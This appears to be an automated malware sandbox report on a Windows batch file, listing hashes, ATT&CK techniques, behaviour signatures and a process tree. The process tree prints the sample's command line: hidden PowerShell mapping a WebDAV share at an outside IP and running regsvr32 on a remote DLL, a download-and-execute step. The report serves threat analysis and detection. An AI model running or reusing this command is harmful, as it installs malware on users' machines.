3e87e2964b2673078bb2425052f131ae626456a514b06d53db31c52ea3650d79

Analysis

max time kernel
140s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21-07-2024 15:37

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General

Target

24130146162728328827.bat
Size

13KB
MD5

6ed546d2deb0a781f3e1c2197f5189b8
SHA1

6299a1721115f57bbfae39e0ab05ab0a8766bb69
SHA256

3e87e2964b2673078bb2425052f131ae626456a514b06d53db31c52ea3650d79
SHA512

ef5042593ef381fdb6bb0ed3b23fcf14ed8ff2fd232c5519e80422f691fdf3c6134adaf354d9ba05a9e36e9de9fccbf7c7f5137b68885d63c7c5bc3b781e7e85
SSDEEP

384:lbvdlB44xqjSgVQLIClYlnwuwluwutTQJG9SP6cdC/eH8:lbvreGgVQLIClYlwuwluwTU9W6cdC/D

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2196	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2196	powershell.exe
2196	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3904	wordpad.exe
3904	wordpad.exe
3904	wordpad.exe
3904	wordpad.exe
3904	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3084 wrote to memory of 3904	3084	cmd.exe	87
PID 3084 wrote to memory of 3904	3084	cmd.exe	87
PID 3084 wrote to memory of 2196	3084	cmd.exe	89
PID 3084 wrote to memory of 2196	3084	cmd.exe	89
PID 2196 wrote to memory of 736	2196	powershell.exe	91
PID 2196 wrote to memory of 736	2196	powershell.exe	91
PID 2196 wrote to memory of 2404	2196	powershell.exe	92
PID 2196 wrote to memory of 2404	2196	powershell.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\24130146162728328827.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3084
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\21170548213116.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:736
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\21170548213116.dll
    3⤵
    PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xp1oplwx.zjd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2196-5-0x000001A7EF390000-0x000001A7EF3B2000-memory.dmp

Filesize
136KB

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